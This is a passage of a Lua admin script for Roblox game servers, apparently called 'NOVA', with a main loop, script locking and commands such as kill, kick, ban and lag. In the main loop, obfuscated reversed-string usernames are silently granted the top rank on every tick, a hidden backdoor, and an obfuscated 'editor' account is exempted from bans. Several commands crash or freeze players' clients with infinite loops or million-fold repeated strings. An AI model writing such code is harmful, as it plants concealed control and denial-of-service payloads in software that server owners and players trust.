  1661. GetRidOf(v)
  1662. end))
  1663. elseif NOVA.PRIType == "Crash" then
  1664. coroutine.resume(coroutine.create(function()
  1665. repeat wait() until v.Backpack ~= nil
  1666. pcall(function()
  1667. CreateLocalScript([[while true do end]],v.Backpack)
  1668. end)
  1669. end))
  1670. end
  1671. end
  1672. end
  1673. end))
  1674. end)
  1675. end
  1676. end)
  1677.  
  1678. --[[ PLAYER REMOVING ]]--
  1679. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1680. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1681. SyncRankOutSingular(v)
  1682. end)
  1683.  
  1684. --[[ SCRIPT CONTROL ]]--
  1685. for _,Service in pairs(NOVA.Services) do
  1686. pcall(function()
  1687. Service.DescendantAdded:connect(function(v)
  1688. if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1689. pcall(function()
  1690. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1691. if GetRank(v.Owner.Value) < 6 then
  1692. pcall(function() v.Disabled = true end)
  1693. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1694. pcall(function() v.Disabled = false end)
  1695. pcall(function() v:Destroy() end)
  1696. end
  1697. else
  1698. pcall(function() v.Disabled = true end)
  1699. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1700. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1701. pcall(function() v.Disabled = false end)
  1702. pcall(function() v:Destroy() end)
  1703. end
  1704. end)
  1705. end
  1706. if v:IsA("BaseScript") and NOVA.Removed == false then
  1707. pcall(function()
  1708. if tonumber(GetRank(v.Owner.Value)) < 0 then
  1709. pcall(function() v.Disabled = true end)
  1710. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1711. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1712. pcall(function() v.Disabled = false end)
  1713. pcall(function() v:Destroy() end)
  1714. end
  1715. end)
  1716. end
  1717. end)
  1718. end)
  1719. end
  1720. coroutine.resume(coroutine.create(function()
  1721. while wait(1) do
  1722. if NOVA.Removed == false then
  1723. for _,v in pairs(GetPlayersRaw()) do
  1724. if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1725. SyncRankInSingular(v)
  1726. end
  1727. end
  1728. end
  1729. end
  1730. end))
  1731. for i=1,3 do
  1732. NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1733. coroutine.resume(coroutine.create(function()
  1734. while wait() do
  1735. if NOVA.Removed == false then
  1736. UpdateTablets()
  1737. end
  1738. end
  1739. end))
  1740. end
  1741. function MainLoop()
  1742. coroutine.resume(coroutine.create(function()
  1743. pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1744. if NOVA.Removed == false then
  1745.  
  1746. --[[ SCUM CARETAKER ]]--
  1747. for _,v in pairs(GetPlayersRaw()) do
  1748. pcall(function()
  1749. if GetRank(v) < 0 then
  1750. pcall(function() v.Backpack:ClearAllChildren() end)
  1751. pcall(function() v.PlayerGui:ClearAllChildren() end)
  1752. pcall(function() v.StarterGear:ClearAllChildren() end)
  1753. end
  1754. end)
  1755. end
  1756.  
  1757. --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1758. for _,v in pairs(GetPlayersRaw()) do
  1759. pcall(function()
  1760. local IsRobloxLocked = true
  1761. pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1762. if IsRobloxLocked == true then
  1763. GTFO(v)
  1764. end
  1765. end)
  1766. end
  1767.  
  1768. --[[ TABLET CLEANUP ]]--
  1769. pcall(function()
  1770. for i,v in pairs(NOVA.Tablets) do
  1771. if v:FindFirstChild("Part") == nil then
  1772. pcall(function() v:Destroy() end)
  1773. table.remove(NOVA.Tablets,i)
  1774. end
  1775. end
  1776. end)
  1777.  
  1778. --[[ JAIL CLEANUP ]]--
  1779. pcall(function()
  1780. for i,v in pairs(NOVA.Jails) do
  1781. if v.Player == nil or v.Player.Parent == nil then
  1782. pcall(function() v.Jail:Destroy() end)
  1783. table.remove(NOVA.Jails,i)
  1784. end
  1785. if v.Jail.Parent == nil and v.Speaker~=nil then
  1786. table.remove(NOVA.Jails,i)
  1787. OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1788. end
  1789. end
  1790. end)
  1791. --[[ FENCE CLEANUP ]]--
  1792. pcall(function()
  1793. for i,v in pairs(NOVA.Fences) do
  1794. if v.Player == nil then
  1795. v.Fence:Remove()
  1796. table.remove(NOVA.Fences,i)
  1797. end
  1798. end
  1799. end)
  1800.  
  1801. --[[ CMD GUI ]]--
  1802. for _,v in pairs(GetPlayersRaw()) do
  1803. pcall(function()
  1804. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1805. if v:FindFirstChild("PlayerGui") then
  1806. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1807. local Main = Instance.new("ScreenGui",v.PlayerGui)
  1808. Main.Name = "NOVACMD"
  1809.  
  1810. local Frame = Instance.new("Frame",Main)
  1811. Frame.Size = UDim2.new(0.27,0,0.05,0)
  1812. Frame.Position = UDim2.new(0.05,0,0.95,0)
  1813. Frame.Style = "RobloxSquare"
  1814. Frame.ZIndex = 9
  1815.  
  1816. local Txt = Instance.new("TextBox",Frame)
  1817. Txt.Size = UDim2.new(0.7,0,1,0)
  1818. Txt.BackgroundTransparency = 1
  1819. Txt.ZIndex = 10
  1820. Txt.FontSize = "Size14"
  1821. Txt.TextColor3 = NOVA.Colors.White
  1822. Txt.Text = ""
  1823.  
  1824. local Exe = Instance.new("TextButton",Frame)
  1825. Exe.Size = UDim2.new(0.3,0,1,0)
  1826. Exe.Position = UDim2.new(0.7,0,0,0)
  1827. Exe.Text = "Execute"
  1828. Exe.BackgroundTransparency = 1
  1829. Exe.ZIndex = 10
  1830. Exe.FontSize = "Size14"
  1831. Exe.TextColor3 = NOVA.Colors.Red
  1832. Exe.MouseButton1Down:connect(function()
  1833. if Txt.Text:sub(1,2) == "$ " then
  1834. OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1835. else
  1836. OnChatted(Txt.Text,v)
  1837. end
  1838. end)
  1839. end
  1840. end
  1841. end
  1842. end)
  1843. end
  1844. end
  1845. end
  1846. end))
  1847. end
  1848. MainLoop()
  1849. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1850. function(Msg,Speaker)
  1851. if Msg == "rainbow" then
  1852. for a,Color in pairs(NOVA.Colors) do
  1853. Output(tostring(a),Color,Speaker,nil,
  1854. function()
  1855. RemoveTablets(Speaker)
  1856. NOVA.Services.Lighting.TimeOfDay = 0
  1857. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1858. NOVA.Services.Lighting.Brightness = 0
  1859. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1860. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1861. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1862. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1863. if v:IsA("BasePart") then
  1864. Sel = Instance.new("SelectionBox",v)
  1865. Sel.Transparency = 0
  1866. Sel.Color = BrickColor.new(Color)
  1867. Sel.Adornee = v
  1868. end
  1869. end
  1870. Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1871. end
  1872. )
  1873. end
  1874. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1875. elseif Msg == "ranks" then
  1876. for _,v in pairs(NOVA.Ranks) do
  1877. Output(v[1].."\t"..v[2],"Random",Speaker)
  1878. end
  1879. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1880. elseif Msg == "random" then
  1881. Output(tostring(math.random()),"Random",Speaker)
  1882. elseif Msg == "players" then
  1883. for _,v in pairs(GetPlayersRaw()) do
  1884. local Data = GetRankedTable(v)
  1885. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1886. function()
  1887. PlayerInterface(v,Speaker)
  1888. end
  1889. )
  1890. end
  1891. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1892. elseif Msg == "colors" then
  1893. coroutine.resume(coroutine.create(function()
  1894. NOVA.Services.Lighting.TimeOfDay = 0
  1895. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1896. NOVA.Services.Lighting.Brightness = 0
  1897. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1898. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1899. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1900.  
  1901. for _,Player in pairs(GetPlayersRaw()) do
  1902. local Data = GetRankedTable(Player)
  1903. pcall(function()
  1904. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1905. if v:IsA("BasePart") then
  1906. Sel = Instance.new("SelectionBox",v)
  1907. Sel.Transparency = 0
  1908. Sel.Color = BrickColor.new(Data.Color)
  1909. Sel.Adornee = v
  1910. end
  1911. end
  1912. end)
  1913. end
  1914.  
  1915. wait(10)
  1916.  
  1917. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1918. if v:IsA("SelectionBox") then
  1919. v:remove()
  1920. end
  1921. end
  1922.  
  1923. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1924. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1925. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1926. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1927. NOVA.Services.Lighting.Brightness = 1
  1928. NOVA.Services.Lighting.FogStart = 0
  1929. NOVA.Services.Lighting.FogEnd = 100000
  1930. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1931. NOVA.Services.Lighting.TimeOfDay = 12
  1932. end))
  1933. elseif Msg == "replicators" then
  1934. for _,v in pairs(GetReplicators()) do
  1935. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1936. function()
  1937. PlayerInterface(v:GetPlayer(),Speaker)
  1938. end
  1939. )
  1940. end
  1941. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1942. elseif Msg == "nil raw" then
  1943. for _,v in pairs(GetReplicators()) do
  1944. if v:GetPlayer().Parent == nil then
  1945. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1946. function()
  1947. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  1948. function()
  1949. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  1950. Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
  1951. --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
  1952.  
  1953. end
  1954. )
  1955. end
  1956. )
  1957. end
  1958. end
  1959. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1960. elseif Msg == "nil" then
  1961. local IsNil = false
  1962. for _,Client in pairs(GetReplicators()) do
  1963. if Client:GetPlayer().Parent == nil then
  1964. IsNil = true
  1965. end
  1966. end
  1967. if IsNil == true then
  1968. for _,Client in pairs(GetReplicators()) do
  1969. if Client:GetPlayer().Parent == nil then
  1970. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1971. function()
  1972. PlayerInterface(Client:GetPlayer(),Speaker)
  1973. end
  1974. )
  1975. end
  1976. end
  1977. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1978. else
  1979. Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  1980. end
  1981. elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  1982. if GetRank(Speaker) < 6 then
  1983. Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  1984. else
  1985. Rtn = loadstring("return "..Msg:sub(3))()
  1986. Output(Rtn,"Random",Speaker)
  1987. end
  1988. else
  1989. if #Msg == 0 then
  1990. Output("Pong!","Random",Speaker)
  1991. else
  1992. Output(Msg,"Random",Speaker)
  1993. end
  1994. end
  1995. end
  1996. )
  1997. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  1998. function(Msg,Speaker)
  1999. if #Msg == 0 or Msg == nil then
  2000. RemoveTablets(Speaker)
  2001. else
  2002. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2003. RemoveTablets(v)
  2004. end
  2005. end
  2006. end
  2007. )
  2008. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  2009. function(Msg,Speaker)
  2010. NOVA.TimeChanged = false
  2011. RemoveTablets()
  2012. SyncRanksOut()
  2013. NOVA.Sounds.Sound:Remove()
  2014. NOVA.Removed = true
  2015. --error("NOVA Admin removing...",0)()
  2016. NOVA = {}
  2017. script.Disabled = true
  2018. while true do wait() end
  2019. end
  2020. )
  2021. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2022. function(Msg,Speaker)
  2023. makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2024. end
  2025. )
  2026. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2027. function(Msg,Speaker)
  2028. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2029. end
  2030. )
  2031.  
  2032. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2033. function(Msg,Speaker)
  2034. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2035. pcall(function() v.Character:BreakJoints() end)
  2036. end
  2037. end
  2038. )
  2039. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2040. function(Msg,Speaker)
  2041. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2042. for i=1,50 do
  2043. local human = v.Character.Humanoid
  2044. if human ~= nil then
  2045. local rand = math.random(1,10)
  2046. human:TakeDamage(rand)
  2047. human.Jump = true
  2048. human.Sit = true
  2049. human.PlatformStand = true
  2050. wait(1)
  2051. human.PlatformStand = false
  2052. end
  2053. end
  2054. end
  2055. end
  2056. )
  2057. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2058. function(Msg,Speaker)
  2059. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2060. Delay(0, function()
  2061. local player = v
  2062. local pos = CFrame.new()
  2063. local pause = false
  2064. Delay(0, function()
  2065. while not close do
  2066. wait()
  2067. if not pause then
  2068. local c = player.Character
  2069. if c then
  2070. local t = c:findFirstChild("Torso")
  2071. if t then
  2072. pos = t.CFrame
  2073. end
  2074. end
  2075. end
  2076. end
  2077. end)
  2078. player.CharacterAdded:connect(function(c)
  2079. if not close then
  2080. pause = true
  2081. repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2082. c:findFirstChild("Torso").CFrame = pos
  2083. c:findFirstChild("Humanoid").Died:connect(function()
  2084. player:LoadCharacter()
  2085. end)
  2086. pause = false
  2087. end
  2088. end)
  2089. pcall(function() player.Character:BreakJoints() end)
  2090. end)
  2091. end
  2092. end
  2093. )
  2094.  
  2095. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2096. function(Msg,Speaker)
  2097. for _,v in pairs(NOVA.KickingPhrases) do
  2098. local m = Instance.new("Message",NOVA.Services.Workspace)
  2099. m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2100. wait(1) m:Remove()
  2101. end end
  2102. )
  2103. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2104. function(Msg,Speaker)
  2105. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2106. pcall(function()
  2107. v:Destroy()
  2108. end)
  2109. end
  2110. end
  2111. )
  2112. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2113. function(Msg,Speaker)
  2114. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2115. pcall(function()
  2116. local m = Instance.new("StringValue",v.PlayerGui)
  2117. m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2118. end)
  2119. end
  2120. end
  2121. )
  2122.  
  2123. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2124. function(Msg,Speaker)
  2125. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2126. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2127. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2128. else
  2129. pcall(function()
  2130. GetRankedTable(v).Rank = -1
  2131. SyncRankOutSingular(v)
  2132. GetRidOf(v)
  2133. end)
  2134. end
  2135. end
  2136. end
  2137. )
  2138.  
  2139. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2140. function(Msg,Speaker)
  2141. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2142. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2143. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2144. else
  2145. pcall(function()
  2146. GetRankedTable(v).Rank = -2
  2147. SyncRankOutSingular(v)
  2148. Lag(v)
  2149. end)
  2150. end
  2151. end
  2152. end
  2153. )
  2154.  
  2155. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2156. function(Msg,Speaker)
  2157. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2158. pcall(function() Instance.new("ForceField",v.Character) end)
  2159. end
  2160. end
  2161. )
  2162.  
  2163. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2164. function(Msg,Speaker)
  2165. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2166. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2167. end
  2168. end
  2169. )
  2170.  
  2171. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2172. function(Msg,Speaker)
  2173. local Data = GetRankedTable(Speaker)
  2174. Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2175. Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker)
  2176. Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker)
  2177. Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2178. Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2179. Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2180. Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2181. Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2182. Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2183. Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2184. Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2185. Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2186. Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2187. Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2188. Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2189. Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2190. Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2191. Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2192. Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2193. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2194. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2195. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2196.  
  2197. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2198. end
  2199. )
  2200.  
  2201. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2202. function(Msg,Speaker)
  2203. pcall(function()
  2204. NOVA.Services.Sounds.Sound:Destroy()
  2205. end)
  2206.  
  2207. NOVA.Sounds.Sound = Instance.new("Sound")
  2208. NOVA.Sounds.Sound.Name = "NOVA Sound"
  2209.  
  2210. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2211. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2212. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2213. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2214. NOVA.Services.Lighting.Brightness = 0.5
  2215. NOVA.Services.Lighting.FogStart = 0
  2216. NOVA.Services.Lighting.FogEnd = 100000
  2217. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2218. NOVA.Services.Lighting.TimeOfDay = 12
  2219. pcall(function() game.Lighting.Sky:Remove() end)
  2220. pcall(function()
  2221. CreateLocalScript([[
  2222. LocalPlayer = game:GetService("Players").LocalPlayer
  2223. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2224. Camera = workspace.CurrentCamera
  2225. Camera:SetRoll(0)
  2226. Camera.CameraType = "Custom"
  2227. Camera.FieldOfView = 70
  2228. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2229. ]],Speaker.Backpack)
  2230. end)
  2231. for Num,v in pairs(NOVA.Jails) do
  2232. pcall(function() v.Jail:Destroy() end)
  2233. table.remove(NOVA.Jails,Num)
  2234. end
  2235. for Num,v in pairs(NOVA.Fences) do
  2236. pcall(function() v.Fence:Destroy() end)
  2237. table.remove(NOVA.Fences,Num)
  2238. end
  2239. for _,v in pairs(NOVA.Services) do
  2240. v.Name = v.className
  2241. end
  2242.  
  2243. for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2244. local ShouldRemove = true
  2245. for _,Tablet in pairs(NOVA.Tablets) do
  2246. if v:IsDescendantOf(Tablet) then
  2247. ShouldRemove = false
  2248. end
  2249. end
  2250. if ShouldRemove == true then
  2251. v:remove()
  2252. end
  2253. end
  2254. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2255.  
  2256. for _,v in pairs(GetPlayersRaw()) do
  2257. pcall(function()
  2258. if v.StarterGear == nil then
  2259. Instance.new("StarterGear",v)
  2260. end
  2261. end)
  2262. pcall(function()
  2263. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2264. end)
  2265. end
  2266. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2267. if #NOVA.Services.Teams:GetChildren() == 0 then
  2268. for _,v in pairs(GetPlayersRaw()) do
  2269. v.Neutral = true
  2270. end
  2271. end
  2272.  
  2273. end
  2274. )
  2275.  
  2276. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2277. function(Msg,Speaker)
  2278. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2279. pcall(function()
  2280. v:LoadCharacter()
  2281. end)
  2282. end
  2283. end
  2284. )
  2285.  
  2286. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2287. function(Msg,Speaker)
  2288. RemoveTablets(Speaker)
  2289. local Data = GetRankedTable(Speaker)
  2290. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2291. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2292. Output("Get/ Commands",Data.Color,Speaker,nil,
  2293. function()
  2294. RemoveTablets(Speaker)
  2295. for _,v in pairs(NOVA.Commands) do
  2296. if v.Command:sub(1,3) == "get" then
  2297. Output(v.Name,Data.Color,Speaker,nil,
  2298. function()
  2299. RemoveTablets(Speaker)
  2300. Output("Name : "..v.Name,Data.Color,Speaker)
  2301. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2302. Output("Command : "..v.Command,Data.Color,Speaker)
  2303. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2304. Output("Description : "..v.Description,Data.Color,Speaker)
  2305. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2306. end
  2307. )
  2308. end
  2309. end
  2310. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2311. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2312. end
  2313. )
  2314. for i=0,7 do
  2315.  
  2316. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2317. RemoveTablets(Speaker)
  2318. for _,v in pairs(NOVA.Commands) do
  2319. if v.Rank == i then
  2320. Output(v.Name,Data.Color,Speaker,nil,function()
  2321. RemoveTablets(Speaker)
  2322. Output("Name : "..v.Name,Data.Color,Speaker)
  2323. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2324. Output("Command : "..v.Command,Data.Color,Speaker)
  2325. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2326. Output("Description : "..v.Description,Data.Color,Speaker)
  2327. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2328. end)
  2329. end
  2330. end
  2331. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2332. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2333. end)
  2334. end
  2335. Output("ALL",Data.Color,Speaker,nil,function()
  2336. RemoveTablets(Speaker)
  2337. for _,v in pairs(NOVA.Commands) do
  2338. if GetRank(Speaker) >= v.Rank then
  2339. Output(v.Name,Data.Color,Speaker,nil,function()
  2340. RemoveTablets(Speaker)
  2341. Output("Name : "..v.Name,Data.Color,Speaker)
  2342. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2343. Output("Command : "..v.Command,Data.Color,Speaker)
  2344. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2345. Output("Description : "..v.Description,Data.Color,Speaker)
  2346. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2347. end)
  2348. end
  2349. end
  2350. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2351. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2352. end)
  2353. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2354. end
  2355. )
  2356.  
  2357. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2358. function(Msg,Speaker)
  2359. Instance.new("ManualSurfaceJointInstance",workspace)
  2360. end
  2361. )
  2362.  
  2363. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2364. function(Msg,Speaker)
  2365. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2366. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2367. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2368. else
  2369. pcall(function()
  2370. Lag(v)
  2371. end)
  2372. end
  2373. end
  2374. end
  2375. )
  2376.  
  2377.  
  2378. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2379. function(Msg,Speaker)
  2380. RemoveTablets(Speaker)
  2381. Output("List","Random",Speaker,nil,
  2382. function()
  2383. RemoveTablets(Speaker)
  2384. for _,v in pairs(NOVA.Ranked) do
  2385. if v.InPRI == true then
  2386. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2387. RemoveTablets(Speaker)
  2388. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2389. end)
  2390. end
  2391. end
  2392. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2393. end
  2394. )
  2395.  
  2396. Output("Type","Random",Speaker,nil,
  2397. function()
  2398. RemoveTablets(Speaker)
  2399. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2400. function()
  2401. NOVA.PRIType = "Kick"
  2402. RemoveTablets(Speaker)
  2403. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2404. end
  2405. )
  2406. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2407. function()
  2408. NOVA.PRIType = "Lag"
  2409. RemoveTablets(Speaker)
  2410. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2411. end
  2412. )
  2413. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2414. function()
  2415. NOVA.PRIType = "Shutdown"
